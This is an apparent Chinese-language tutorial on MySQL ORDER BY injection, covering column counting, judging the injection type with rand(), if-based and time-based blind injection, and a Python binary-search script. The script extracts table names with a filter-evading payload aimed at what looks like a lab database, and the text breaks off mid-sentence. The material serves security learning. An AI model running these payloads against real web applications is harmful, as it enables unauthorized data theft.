目录
order by
1、了解order by
order by是mysql中对查询数据进行排序的方法, 使用示例
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序
这里的重点在于order by后既可以填列名或者是一个数字。举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:
select * from user order by id;
selecr * from user order by 1;
2、判断注入类型
数字型order by注入时,语句order by=2 and 1=2,和order by=2 and 1=1 显示的结果一样,所以无法用来判断注入点类型
而用rand()会显示不同的排序结果
当在字符型中用?sort=rand(),则不会有效果,排序不会改变
因此用rand()可判断注入点类型
3、order by盲注
1、与union联用
前面经常利用order by子句进行快速猜解表中的列数
【根据是否报错来判断列数】
测试时,测试者可以通过修改order参数值,比如调整为较大的整型数,再依据回显情况来判断具体表中包含的列数。再配合使用union select语句进行回显。
union select语句进行回显
2、基于if语句盲注(数字型)
只有order=$id
,数字型注入时才能生效,order ='$id'导
致if语句变成字符串,功能失效。
if语句返回的是字符类型,不是整型, 因此如果使用数字代替列名是不行的,如下图
为此使用if判断的时候要返回要使用列名。
order by if(表达式,1,username)
表达式成立输出1
表达式失败输出username
3、基于时间的盲注
select * from users order by if(1=2,1,sleep(1));
小点:sleep(1)如果成功则返回 0,如果错误则返回 FALSE。
延迟的时间并不是sleep(1)中的1秒,而是大于1秒。 它与所查询的数据的条数是成倍数关系的。
计算公式:延迟时间=sleep(1)的秒数*所查询数据条数
如果查询的数据很多时,延迟的时间就会特别长
在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。
盲注应用:
通过paload放到函数中进行二分法爆值。
for i in range(1, 100000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1') aandnd (if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),%d,1))>%d,sleep(1),0))aandnd('1')=('1" % (
i, mid)
params = {'id': payload}
start_time = time.time() # 注入前的系统时间
r = requests.get(url, params=params)
end_time = time.time() # 注入后的时间
if end_time - start_time > 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
第一个%d表示:i,i范围1-100000。表示substr截取从左边第几个字符开始截取。
第二个%d表示:mid值
过程:
1、paload放入函数对数据截取转换为ASCII码,对得到的ASCII字符进行mid比较即为二分法来查找具体字符值。
2、如果ASCII码对于而二分法值大于mid则会进行sleep(1)。判断为真是因为字符的大小大于mid值,进行沉睡。
3、沉睡导致注入后时间比注入前系统时间差值大于1。如此表示字符比mid大,那么low = mid + 1并且mid值也发送改变。
4、此时low<high依旧成立继续比较。mid值改变了,依旧截取的第一个字符。
5、此时如果字符变得比现在mid小,如此不会沉睡输出为0,在网络的传输中虽然有延迟但是差值一般是不会超过1秒的。为此判断为假。此时mid将变为high。如此范围相比之前是之前mid为新low,之前改变后的mid变成high。
6、如此当字符此时正好为low或mid或high时,依旧重复上述操作,直到low=high就将结束while循环并且输出的mid【此时mid、low、high的值一样】。
7、如此跳出了第一个while循环,rang范围给i的值变2.开始第二个while循环输出下一个字符
8、全部while完后,得到的全是ASCII。为此利用chr(mid)把ASCII码转换为字符。print输出。
4.基于rand()的盲注(数字型)
rand() 函数可以产生随机数介于0和1之间的一个数
当给rand() 一个参数的时候,会将该参数作为一个随机种子,生成一个介于0-1之间的一个数,种子固定,则生成的数固定
rand()为随机参数
rand(1)与rand(0) 固定了参数
order by rand:这个不是分组,只是排序,rand()只是生成一个随机数,每次检索的结果排序会不同
order by rand(表达式)
当表达式为true和false时,排序结果是不同的,所以